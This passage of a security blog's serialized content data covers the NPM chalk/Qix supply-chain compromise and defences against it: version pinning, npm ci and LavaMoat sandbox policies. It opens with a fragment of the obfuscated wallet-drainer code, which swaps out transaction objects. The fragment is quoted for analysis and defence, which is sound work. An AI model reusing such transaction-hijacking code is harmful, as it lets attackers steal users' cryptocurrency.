g":481,"props":96119,"children":96120},{"style":525},[96121],{"type":28,"value":96122}," ) {\n",{"type":23,"tag":481,"props":96124,"children":96125},{"class":483,"line":1142},[96126,96130],{"type":23,"tag":481,"props":96127,"children":96128},{"style":535},[96129],{"type":28,"value":67512},{"type":23,"tag":481,"props":96131,"children":96132},{"style":525},[96133],{"type":28,"value":809},{"type":23,"tag":481,"props":96135,"children":96136},{"class":483,"line":1159},[96137,96141,96146,96150,96154,96158,96162,96166,96170],{"type":23,"tag":481,"props":96138,"children":96139},{"style":497},[96140],{"type":28,"value":5554},{"type":23,"tag":481,"props":96142,"children":96143},{"style":508},[96144],{"type":28,"value":96145}," _0x5ad975",{"type":23,"tag":481,"props":96147,"children":96148},{"style":514},[96149],{"type":28,"value":517},{"type":23,"tag":481,"props":96151,"children":96152},{"style":508},[96153],{"type":28,"value":95805},{"type":23,"tag":481,"props":96155,"children":96156},{"style":525},[96157],{"type":28,"value":199},{"type":23,"tag":481,"props":96159,"children":96160},{"style":508},[96161],{"type":28,"value":95814},{"type":23,"tag":481,"props":96163,"children":96164},{"style":525},[96165],{"type":28,"value":1269},{"type":23,"tag":481,"props":96167,"children":96168},{"style":551},[96169],{"type":28,"value":1568},{"type":23,"tag":481,"props":96171,"children":96172},{"style":525},[96173],{"type":28,"value":29089},{"type":23,"tag":481,"props":96175,"children":96176},{"class":483,"line":1172},[96177,96181,96185,96190,96194,96199],{"type":23,"tag":481,"props":96178,"children":96179},{"style":535},[96180],{"type":28,"value":36805},{"type":23,"tag":481,"props":96182,"children":96183},{"style":525},[96184],{"type":28,"value":578},{"type":23,"tag":481,"props":96186,"children":96187},{"style":508},[96188],{"type":28,"value":96189},"_0x5ad975",{"type":23,"tag":481,"props":96191,"children":96192},{"style":525},[96193],{"type":28,"value":199},{"type":23,"tag":481,"props":96195,"children":96196},{"style":508},[96197],{"type":28,"value":96198},"transaction",{"type":23,"tag":481,"props":96200,"children":96201},{"style":525},[96202],{"type":28,"value":12292},{"type":23,"tag":481,"props":96204,"children":96205},{"class":483,"line":1181},[96206,96211,96215,96219,96223,96227],{"type":23,"tag":481,"props":96207,"children":96208},{"style":508},[96209],{"type":28,"value":96210}," _0x5ad975",{"type":23,"tag":481,"props":96212,"children":96213},{"style":514},[96214],{"type":28,"value":517},{"type":23,"tag":481,"props":96216,"children":96217},{"style":508},[96218],{"type":28,"value":96145},{"type":23,"tag":481,"props":96220,"children":96221},{"style":525},[96222],{"type":28,"value":199},{"type":23,"tag":481,"props":96224,"children":96225},{"style":508},[96226],{"type":28,"value":96198},{"type":23,"tag":481,"props":96228,"children":96229},{"style":525},[96230],{"type":28,"value":528},{"type":23,"tag":481,"props":96232,"children":96233},{"class":483,"line":1204},[96234],{"type":23,"tag":481,"props":96235,"children":96236},{"style":525},[96237],{"type":28,"value":10151},{"type":23,"tag":481,"props":96239,"children":96240},{"class":483,"line":1213},[96241,96245,96250,96254,96258,96262,96266,96270,96274],{"type":23,"tag":481,"props":96242,"children":96243},{"style":497},[96244],{"type":28,"value":29062},{"type":23,"tag":481,"props":96246,"children":96247},{"style":508},[96248],{"type":28,"value":96249}," _0x5dbe63",{"type":23,"tag":481,"props":96251,"children":96252},{"style":514},[96253],{"type":28,"value":517},{"type":23,"tag":481,"props":96255,"children":96256},{"style":610},[96257],{"type":28,"value":95874},{"type":23,"tag":481,"props":96259,"children":96260},{"style":525},[96261],{"type":28,"value":618},{"type":23,"tag":481,"props":96263,"children":96264},{"style":508},[96265],{"type":28,"value":96189},{"type":23,"tag":481,"props":96267,"children":96268},{"style":525},[96269],{"type":28,"value":588},{"type":23,"tag":481,"props":96271,"children":96272},{"style":497},[96273],{"type":28,"value":5654},{"type":23,"tag":481,"props":96275,"children":96276},{"style":525},[96277],{"type":28,"value":1366},{"type":23,"tag":481,"props":96279,"children":96280},{"class":483,"line":1222},[96281,96285,96289,96293,96297,96301,96305,96309,96313,96317],{"type":23,"tag":481,"props":96282,"children":96283},{"style":535},[96284],{"type":28,"value":36805},{"type":23,"tag":481,"props":96286,"children":96287},{"style":525},[96288],{"type":28,"value":578},{"type":23,"tag":481,"props":96290,"children":96291},{"style":508},[96292],{"type":28,"value":95779},{"type":23,"tag":481,"props":96294,"children":96295},{"style":525},[96296],{"type":28,"value":199},{"type":23,"tag":481,"props":96298,"children":96299},{"style":508},[96300],{"type":28,"value":95814},{"type":23,"tag":481,"props":96302,"children":96303},{"style":525},[96304],{"type":28,"value":1269},{"type":23,"tag":481,"props":96306,"children":96307},{"style":551},[96308],{"type":28,"value":1568},{"type":23,"tag":481,"props":96310,"children":96311},{"style":525},[96312],{"type":28,"value":47874},{"type":23,"tag":481,"props":96314,"children":96315},{"style":508},[96316],{"type":28,"value":96198},{"type":23,"tag":481,"props":96318,"children":96319},{"style":525},[96320],{"type":28,"value":12292},{"type":23,"tag":481,"props":96322,"children":96323},{"class":483,"line":1291},[96324,96329,96333,96337,96341,96345,96349,96353,96357,96361],{"type":23,"tag":481,"props":96325,"children":96326},{"style":508},[96327],{"type":28,"value":96328}," _0x2c3d7e",{"type":23,"tag":481,"props":96330,"children":96331},{"style":525},[96332],{"type":28,"value":199},{"type":23,"tag":481,"props":96334,"children":96335},{"style":508},[96336],{"type":28,"value":95814},{"type":23,"tag":481,"props":96338,"children":96339},{"style":525},[96340],{"type":28,"value":1269},{"type":23,"tag":481,"props":96342,"children":96343},{"style":551},[96344],{"type":28,"value":1568},{"type":23,"tag":481,"props":96346,"children":96347},{"style":525},[96348],{"type":28,"value":47874},{"type":23,"tag":481,"props":96350,"children":96351},{"style":508},[96352],{"type":28,"value":96198},{"type":23,"tag":481,"props":96354,"children":96355},{"style":514},[96356],{"type":28,"value":517},{"type":23,"tag":481,"props":96358,"children":96359},{"style":508},[96360],{"type":28,"value":96249},{"type":23,"tag":481,"props":96362,"children":96363},{"style":525},[96364],{"type":28,"value":528},{"type":23,"tag":481,"props":96366,"children":96367},{"class":483,"line":1299},[96368,96372,96376],{"type":23,"tag":481,"props":96369,"children":96370},{"style":525},[96371],{"type":28,"value":36458},{"type":23,"tag":481,"props":96373,"children":96374},{"style":535},[96375],{"type":28,"value":836},{"type":23,"tag":481,"props":96377,"children":96378},{"style":525},[96379],{"type":28,"value":809},{"type":23,"tag":481,"props":96381,"children":96382},{"class":483,"line":1329},[96383,96387,96391,96395,96399,96403,96407,96411,96415],{"type":23,"tag":481,"props":96384,"children":96385},{"style":508},[96386],{"type":28,"value":96328},{"type":23,"tag":481,"props":96388,"children":96389},{"style":525},[96390],{"type":28,"value":199},{"type":23,"tag":481,"props":96392,"children":96393},{"style":508},[96394],{"type":28,"value":95814},{"type":23,"tag":481,"props":96396,"children":96397},{"style":525},[96398],{"type":28,"value":1269},{"type":23,"tag":481,"props":96400,"children":96401},{"style":551},[96402],{"type":28,"value":1568},{"type":23,"tag":481,"props":96404,"children":96405},{"style":525},[96406],{"type":28,"value":6141},{"type":23,"tag":481,"props":96408,"children":96409},{"style":514},[96410],{"type":28,"value":603},{"type":23,"tag":481,"props":96412,"children":96413},{"style":508},[96414],{"type":28,"value":96249},{"type":23,"tag":481,"props":96416,"children":96417},{"style":525},[96418],{"type":28,"value":528},{"type":23,"tag":481,"props":96420,"children":96421},{"class":483,"line":1337},[96422],{"type":23,"tag":481,"props":96423,"children":96424},{"style":525},[96425],{"type":28,"value":10151},{"type":23,"tag":481,"props":96427,"children":96428},{"class":483,"line":1369},[96429,96433,96437,96441,96446],{"type":23,"tag":481,"props":96430,"children":96431},{"style":525},[96432],{"type":28,"value":13269},{"type":23,"tag":481,"props":96434,"children":96435},{"style":535},[96436],{"type":28,"value":45936},{"type":23,"tag":481,"props":96438,"children":96439},{"style":525},[96440],{"type":28,"value":578},{"type":23,"tag":481,"props":96442,"children":96443},{"style":508},[96444],{"type":28,"value":96445},"_0x4b99fd",{"type":23,"tag":481,"props":96447,"children":96448},{"style":525},[96449],{"type":28,"value":95975},{"type":23,"tag":481,"props":96451,"children":96452},{"class":483,"line":1377},[96453],{"type":23,"tag":481,"props":96454,"children":96455},{"style":525},[96456],{"type":28,"value":3348},{"type":23,"tag":481,"props":96458,"children":96459},{"class":483,"line":1437},[96460],{"type":23,"tag":481,"props":96461,"children":96462},{"style":525},[96463],{"type":28,"value":1443},{"type":23,"tag":7092,"props":96465,"children":96467},{"id":96466},"impact-of-the-attack",[96468],{"type":28,"value":96469},"Impact of the Attack",{"type":23,"tag":24,"props":96471,"children":96472},{},[96473],{"type":28,"value":96474},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":31,"props":96476,"children":96478},{"id":96477},"why-it-will-happen-again",[96479],{"type":28,"value":96480},"Why It Will Happen Again",{"type":23,"tag":24,"props":96482,"children":96483},{},[96484],{"type":28,"value":96485},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":96487,"children":96488},{},[96489],{"type":28,"value":96490},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":31,"props":96492,"children":96494},{"id":96493},"what-developers-can-do",[96495],{"type":28,"value":96496},"What Developers Can Do",{"type":23,"tag":24,"props":96498,"children":96499},{},[96500],{"type":28,"value":96501},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":7092,"props":96503,"children":96505},{"id":96504},"_1-version-pinning-in-packagejson",[96506,96508],{"type":28,"value":96507},"1. Version pinning in ",{"type":23,"tag":64,"props":96509,"children":96511},{"className":96510},[],[96512],{"type":28,"value":96513},"package.json",{"type":23,"tag":24,"props":96515,"children":96516},{},[96517],{"type":28,"value":96518},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":96520,"children":96521},{},[96522,96524,96530,96532,96537,96539,96544],{"type":28,"value":96523},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":64,"props":96525,"children":96527},{"className":96526},[],[96528],{"type":28,"value":96529},"npm install",{"type":28,"value":96531},". To pin it, just make sure to remove the caret ",{"type":23,"tag":64,"props":96533,"children":96535},{"className":96534},[],[96536],{"type":28,"value":46459},{"type":28,"value":96538}," symbol before the version in ",{"type":23,"tag":64,"props":96540,"children":96542},{"className":96541},[],[96543],{"type":28,"value":96513},{"type":28,"value":287},{"type":23,"tag":435,"props":96546,"children":96548},{"code":96547,"language":31514,"meta":7,"className":31512,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[96549],{"type":23,"tag":64,"props":96550,"children":96551},{"__ignoreMap":7},[96552,96573,96594,96615],{"type":23,"tag":481,"props":96553,"children":96554},{"class":483,"line":484},[96555,96560,96564,96569],{"type":23,"tag":481,"props":96556,"children":96557},{"style":1805},[96558],{"type":28,"value":96559},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":481,"props":96561,"children":96562},{"style":525},[96563],{"type":28,"value":12820},{"type":23,"tag":481,"props":96565,"children":96566},{"style":1805},[96567],{"type":28,"value":96568},"\"1.23.1\"",{"type":23,"tag":481,"props":96570,"children":96571},{"style":525},[96572],{"type":28,"value":1033},{"type":23,"tag":481,"props":96574,"children":96575},{"class":483,"line":351},[96576,96581,96585,96590],{"type":23,"tag":481,"props":96577,"children":96578},{"style":1805},[96579],{"type":28,"value":96580},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":481,"props":96582,"children":96583},{"style":525},[96584],{"type":28,"value":12820},{"type":23,"tag":481,"props":96586,"children":96587},{"style":1805},[96588],{"type":28,"value":96589},"\"8.3.0\"",{"type":23,"tag":481,"props":96591,"children":96592},{"style":525},[96593],{"type":28,"value":1033},{"type":23,"tag":481,"props":96595,"children":96596},{"class":483,"line":531},[96597,96602,96606,96611],{"type":23,"tag":481,"props":96598,"children":96599},{"style":1805},[96600],{"type":28,"value":96601},"\"@react-native-community/netinfo\"",{"type":23,"tag":481,"props":96603,"children":96604},{"style":525},[96605],{"type":28,"value":12820},{"type":23,"tag":481,"props":96607,"children":96608},{"style":1805},[96609],{"type":28,"value":96610},"\"11.4.1\"",{"type":23,"tag":481,"props":96612,"children":96613},{"style":525},[96614],{"type":28,"value":1033},{"type":23,"tag":481,"props":96616,"children":96617},{"class":483,"line":567},[96618,96623,96627],{"type":23,"tag":481,"props":96619,"children":96620},{"style":1805},[96621],{"type":28,"value":96622},"\"@react-native-picker/picker\"",{"type":23,"tag":481,"props":96624,"children":96625},{"style":525},[96626],{"type":28,"value":12820},{"type":23,"tag":481,"props":96628,"children":96629},{"style":1805},[96630],{"type":28,"value":96631},"\"2.11.0\"\n",{"type":23,"tag":7092,"props":96633,"children":96635},{"id":96634},"_2-use-npm-ci",[96636,96638],{"type":28,"value":96637},"2. Use ",{"type":23,"tag":64,"props":96639,"children":96641},{"className":96640},[],[96642],{"type":28,"value":96643},"npm ci",{"type":23,"tag":24,"props":96645,"children":96646},{},[96647,96652,96654,96660,96662,96667],{"type":23,"tag":64,"props":96648,"children":96650},{"className":96649},[],[96651],{"type":28,"value":96643},{"type":28,"value":96653}," uses the dependency versions from ",{"type":23,"tag":64,"props":96655,"children":96657},{"className":96656},[],[96658],{"type":28,"value":96659},"package-lock.json",{"type":28,"value":96661}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":64,"props":96663,"children":96665},{"className":96664},[],[96666],{"type":28,"value":96529},{"type":28,"value":96668}," when adding a new package or updating an existing one.",{"type":23,"tag":7092,"props":96670,"children":96672},{"id":96671},"_3-implement-lavamoat",[96673,96675],{"type":28,"value":96674},"3. Implement ",{"type":23,"tag":190,"props":96676,"children":96679},{"href":96677,"rel":96678},"https://github.com/LavaMoat/LavaMoat/tree/main",[194],[96680],{"type":23,"tag":2875,"props":96681,"children":96682},{},[96683],{"type":28,"value":96684},"Lavamoat",{"type":23,"tag":24,"props":96686,"children":96687},{},[96688],{"type":28,"value":96689},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":96691,"children":96692},{},[96693],{"type":28,"value":96694},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":435,"props":96696,"children":96698},{"code":96697,"language":31514,"meta":7,"className":31512,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[96699],{"type":23,"tag":64,"props":96700,"children":96701},{"__ignoreMap":7},[96702,96714,96726,96737,96753,96760,96767,96779,96790,96810,96826,96833,96844,96864,96880,96887,96894],{"type":23,"tag":481,"props":96703,"children":96704},{"class":483,"line":484},[96705,96710],{"type":23,"tag":481,"props":96706,"children":96707},{"style":1805},[96708],{"type":28,"value":96709},"\"resources\"",{"type":23,"tag":481,"props":96711,"children":96712},{"style":525},[96713],{"type":28,"value":34540},{"type":23,"tag":481,"props":96715,"children":96716},{"class":483,"line":351},[96717,96722],{"type":23,"tag":481,"props":96718,"children":96719},{"style":508},[96720],{"type":28,"value":96721}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":481,"props":96723,"children":96724},{"style":525},[96725],{"type":28,"value":34540},{"type":23,"tag":481,"props":96727,"children":96728},{"class":483,"line":531},[96729,96733],{"type":23,"tag":481,"props":96730,"children":96731},{"style":508},[96732],{"type":28,"value":34548},{"type":23,"tag":481,"props":96734,"children":96735},{"style":525},[96736],{"type":28,"value":34540},{"type":23,"tag":481,"props":96738,"children":96739},{"class":483,"line":567},[96740,96745,96749],{"type":23,"tag":481,"props":96741,"children":96742},{"style":508},[96743],{"type":28,"value":96744}," \"TextEncoder\"",{"type":23,"tag":481,"props":96746,"children":96747},{"style":525},[96748],{"type":28,"value":12820},{"type":23,"tag":481,"props":96750,"children":96751},{"style":497},[96752],{"type":28,"value":34709},{"type":23,"tag":481,"props":96754,"children":96755},{"class":483,"line":678},[96756],{"type":23,"tag":481,"props":96757,"children":96758},{"style":525},[96759],{"type":28,"value":10151},{"type":23,"tag":481,"props":96761,"children":96762},{"class":483,"line":784},[96763],{"type":23,"tag":481,"props":96764,"children":96765},{"style":525},[96766],{"type":28,"value":22892},{"type":23,"tag":481,"props":96768,"children":96769},{"class":483,"line":812},[96770,96775],{"type":23,"tag":481,"props":96771,"children":96772},{"style":508},[96773],{"type":28,"value":96774}," \"@ethereumjs/util\"",{"type":23,"tag":481,"props":96776,"children":96777},{"style":525},[96778],{"type":28,"value":34540},{"type":23,"tag":481,"props":96780,"children":96781},{"class":483,"line":825},[96782,96786],{"type":23,"tag":481,"props":96783,"children":96784},{"style":508},[96785],{"type":28,"value":34548},{"type":23,"tag":481,"props":96787,"children":96788},{"style":525},[96789],{"type":28,"value":34540},{"type":23,"tag":481,"props":96791,"children":96792},{"class":483,"line":843},[96793,96798,96802,96806],{"type":23,"tag":481,"props":96794,"children":96795},{"style":508},[96796],{"type":28,"value":96797}," \"console.warn\"",{"type":23,"tag":481,"props":96799,"children":96800},{"style":525},[96801],{"type":28,"value":12820},{"type":23,"tag":481,"props":96803,"children":96804},{"style":497},[96805],{"type":28,"value":1539},{"type":23,"tag":481,"props":96807,"children":96808},{"style":525},[96809],{"type":28,"value":1033},{"type":23,"tag":481,"props":96811,"children":96812},{"class":483,"line":864},[96813,96818,96822],{"type":23,"tag":481,"props":96814,"children":96815},{"style":508},[96816],{"type":28,"value":96817}," \"fetch\"",{"type":23,"tag":481,"props":96819,"children":96820},{"style":525},[96821],{"type":28,"value":12820},{"type":23,"tag":481,"props":96823,"children":96824},{"style":497},[96825],{"type":28,"value":34709},{"type":23,"tag":481,"props":96827,"children":96828},{"class":483,"line":873},[96829],{"type":23,"tag":481,"props":96830,"children":96831},{"style":525},[96832],{"type":28,"value":34717},{"type":23,"tag":481,"props":96834,"children":96835},{"class":483,"line":1125},[96836,96840],{"type":23,"tag":481,"props":96837,"children":96838},{"style":508},[96839],{"type":28,"value":34725},{"type":23,"tag":481,"props":96841,"children":96842},{"style":525},[96843],{"type":28,"value":34540},{"type":23,"tag":481,"props":96845,"children":96846},{"class":483,"line":1142},[96847,96852,96856,96860],{"type":23,"tag":481,"props":96848,"children":96849},{"style":508},[96850],{"type":28,"value":96851}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":481,"props":96853,"children":96854},{"style":525},[96855],{"type":28,"value":12820},{"type":23,"tag":481,"props":96857,"children":96858},{"style":497},[96859],{"type":28,"value":1539},{"type":23,"tag":481,"props":96861,"children":96862},{"style":525},[96863],{"type":28,"value":1033},{"type":23,"tag":481,"props":96865,"children":96866},{"class":483,"line":1159},[96867,96872,96876],{"type":23,"tag":481,"props":96868,"children":96869},{"style":508},[96870],{"type":28,"value":96871}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":481,"props":96873,"children":96874},{"style":525},[96875],{"type":28,"value":12820},{"type":23,"tag":481,"props":96877,"children":96878},{"style":497},[96879],{"type":28,"value":34709},{"type":23,"tag":481,"props":96881,"children":96882},{"class":483,"line":1172},[96883],{"type":23,"tag":481,"props":96884,"children":96885},{"style":525},[96886],{"type":28,"value":10151},{"type":23,"tag":481,"props":96888,"children":96889},{"class":483,"line":1181},[96890],{"type":23,"tag":481,"props":96891,"children":96892},{"style":525},[96893],{"type":28,"value":879},{"type":23,"tag":481,"props":96895,"children":96896},{"class":483,"line":1204},[96897],{"type":23,"tag":481,"props":96898,"children":96899},{"style":525},[96900],{"type":28,"value":1443},{"type":23,"tag":24,"props":96902,"children":96903},{},[96904,96906,96912,96914,96920,96921,96926,96928,96934,96935,96941],{"type":28,"value":96905},"In this example, it restricts the ",{"type":23,"tag":64,"props":96907,"children":96909},{"className":96908},[],[96910],{"type":28,"value":96911},"@ethereumjs/util",{"type":28,"value":96913}," package to use only ",{"type":23,"tag":64,"props":96915,"children":96917},{"className":96916},[],[96918],{"type":28,"value":96919},"console.warn",{"type":28,"value":8478},{"type":23,"tag":64,"props":96922,"children":96924},{"className":96923},[],[96925],{"type":28,"value":31611},{"type":28,"value":96927}," functions, and to include only ",{"type":23,"tag":64,"props":96929,"children":96931},{"className":96930},[],[96932],{"type":28,"value":96933},"@ethereumjs/rlp",{"type":28,"value":8478},{"type":23,"tag":64,"props":96936,"children":96938},{"className":96937},[],[96939],{"type":28,"value":96940},"ethereum-cryptography",{"type":28,"value":96942}," packages.",{"type":23,"tag":24,"props":96944,"children":96945},{},[96946],{"type":28,"value":96947},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":96949,"children":96950},{},[96951,96953,96959],{"type":28,"value":96952},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":190,"props":96954,"children":96957},{"href":96955,"rel":96956},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[194],[96958],{"type":28,"value":34895},{"type":28,"value":199},{"type":23,"tag":7092,"props":96961,"children":96963},{"id":96962},"lavamoat-vs-qix-malware",[96964],{"type":28,"value":96965},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":96967,"children":96968},{},[96969,96971,96976],{"type":28,"value":96970},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":64,"props":96972,"children":96974},{"className":96973},[],[96975],{"type":28,"value":94816},{"type":28,"value":96977},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":73,"props":96979,"children":96980},{},[96981,96993,97004,97015],{"type":23,"tag":77,"props":96982,"children":96983},{},[96984,96986,96991],{"type":28,"value":96985},"Replace ",{"type":23,"tag":64,"props":96987,"children":96989},{"className":96988},[],[96990],{"type":28,"value":31611},{"type":28,"value":96992}," function to a custom one",{"type":23,"tag":77,"props":96994,"children":96995},{},[96996,96998],{"type":28,"value":96997},"Access ",{"type":23,"tag":64,"props":96999,"children":97001},{"className":97000},[],[97002],{"type":28,"value":97003},"window.ethereum",{"type":23,"tag":77,"props":97005,"children":97006},{},[97007,97009,97014],{"type":28,"value":97008},"Call original ",{"type":23,"tag":64,"props":97010,"children":97012},{"className":97011},[],[97013],{"type":28,"value":31611},{"type":28,"value":35732},{"type":23,"tag":77,"props":97016,"children":97017},{},[97018],{"type":28,"value":97019},"Plus other actions not relevant here",{"type":23,"tag":24,"props":97021,"children":97022},{},[97023,97025,97031],{"type":28,"value":97024},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":64,"props":97026,"children":97028},{"className":97027},[],[97029],{"type":28,"value":97030},"chalk 5.6.0",{"type":28,"value":97032}," (non-malicious version) it would look like this:",{"type":23,"tag":435,"props":97034,"children":97036},{"code":97035,"language":31514,"meta":7,"className":31512,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[97037],{"type":23,"tag":64,"props":97038,"children":97039},{"__ignoreMap":7},[97040,97052,97063,97083,97099,97106],{"type":23,"tag":481,"props":97041,"children":97042},{"class":483,"line":484},[97043,97048],{"type":23,"tag":481,"props":97044,"children":97045},{"style":1805},[97046],{"type":28,"value":97047},"\"chalk\"",{"type":23,"tag":481,"props":97049,"children":97050},{"style":525},[97051],{"type":28,"value":34540},{"type":23,"tag":481,"props":97053,"children":97054},{"class":483,"line":351},[97055,97059],{"type":23,"tag":481,"props":97056,"children":97057},{"style":508},[97058],{"type":28,"value":34548},{"type":23,"tag":481,"props":97060,"children":97061},{"style":525},[97062],{"type":28,"value":34540},{"type":23,"tag":481,"props":97064,"children":97065},{"class":483,"line":531},[97066,97071,97075,97079],{"type":23,"tag":481,"props":97067,"children":97068},{"style":508},[97069],{"type":28,"value":97070}," \"navigator.userAgent\"",{"type":23,"tag":481,"props":97072,"children":97073},{"style":525},[97074],{"type":28,"value":12820},{"type":23,"tag":481,"props":97076,"children":97077},{"style":497},[97078],{"type":28,"value":1539},{"type":23,"tag":481,"props":97080,"children":97081},{"style":525},[97082],{"type":28,"value":1033},{"type":23,"tag":481,"props":97084,"children":97085},{"class":483,"line":567},[97086,97091,97095],{"type":23,"tag":481,"props":97087,"children":97088},{"style":508},[97089],{"type":28,"value":97090}," \"navigator.userAgentData\"",{"type":23,"tag":481,"props":97092,"children":97093},{"style":525},[97094],{"type":28,"value":12820},{"type":23,"tag":481,"props":97096,"children":97097},{"style":497},[97098],{"type":28,"value":34709},{"type":23,"tag":481,"props":97100,"children":97101},{"class":483,"line":678},[97102],{"type":23,"tag":481,"props":97103,"children":97104},{"style":525},[97105],{"type":28,"value":10151},{"type":23,"tag":481,"props":97107,"children":97108},{"class":483,"line":784},[97109],{"type":23,"tag":481,"props":97110,"children":97111},{"style":525},[97112],{"type":28,"value":22892},{"type":23,"tag":24,"props":97114,"children":97115},{},[97116,97118,97124],{"type":28,"value":97117},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":64,"props":97119,"children":97121},{"className":97120},[],[97122],{"type":28,"value":97123},"navigator",{"type":28,"value":199},{"type":23,"tag":24,"props":97126,"children":97127},{},[97128,97130,97136],{"type":28,"value":97129},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":64,"props":97131,"children":97133},{"className":97132},[],[97134],{"type":28,"value":97135},"chalk v5.6.1",{"type":28,"value":97137}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":97139,"children":97140},{},[97141],{"type":23,"tag":149,"props":97142,"children":97144},{"alt":48104,"src":97143},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":97146,"children":97147},{},[97148,97150,97155],{"type":28,"value":97149},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":64,"props":97151,"children":97153},{"className":97152},[],[97154],{"type":28,"value":31611},{"type":28,"value":22979},{"type":23,"tag":435,"props":97157,"children":97159},{"code":97158},"TypeError#1: Cannot define property fetch, object is not extensible\n",[97160],{"type":23,"tag":64,"props":97161,"children":97162},{"__ignoreMap":7},[97163],{"type":28,"value":97158},{"type":23,"tag":31,"props":97165,"children":97167},{"id":97166},"lavamoat-in-practice",[97168],{"type":28,"value":97169},"Lavamoat In Practice",{"type":23,"tag":24,"props":97171,"children":97172},{},[97173,97175,97182],{"type":28,"value":97174},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":190,"props":97176,"children":97179},{"href":97177,"rel":97178},"https://osec.io/reports/lavamoat_audit_final.pdf",[194],[97180],{"type":28,"value":97181},"see the audit report",{"type":28,"value":18240},{"type":23,"tag":24,"props":97184,"children":97185},{},[97186],{"type":28,"value":97187},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":31,"props":97189,"children":97190},{"id":73329},[97191],{"type":28,"value":73332},{"type":23,"tag":24,"props":97193,"children":97194},{},[97195],{"type":28,"value":97196},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":97198,"children":97199},{},[97200,97202,97207],{"type":28,"value":97201},"Version pinning and ",{"type":23,"tag":64,"props":97203,"children":97205},{"className":97204},[],[97206],{"type":28,"value":96643},{"type":28,"value":97208}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":2918,"props":97210,"children":97211},{},[97212],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":97214},[97215,97218,97219,97228,97229],{"id":94831,"depth":351,"text":94834,"children":97216},[97217],{"id":96466,"depth":531,"text":96469},{"id":96477,"depth":351,"text":96480},{"id":96493,"depth":351,"text":96496,"children":97220},[97221,97223,97225,97227],{"id":96504,"depth":531,"text":97222},"1. Version pinning in package.json",{"id":96634,"depth":531,"text":97224},"2. Use npm ci",{"id":96671,"depth":531,"text":97226},"3. Implement Lavamoat",{"id":96962,"depth":531,"text":96965},{"id":97166,"depth":351,"text":97169},{"id":73329,"depth":351,"text":73332},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":97234,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97235,"description":97236,"date":97237,"author":97238,"image":97239,"isFeatured":15,"onBlogPage":15,"tags":97241,"body":97244,"_type":358,"_id":99575,"_source":360,"_file":99576,"_stem":99577,"_extension":363},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A 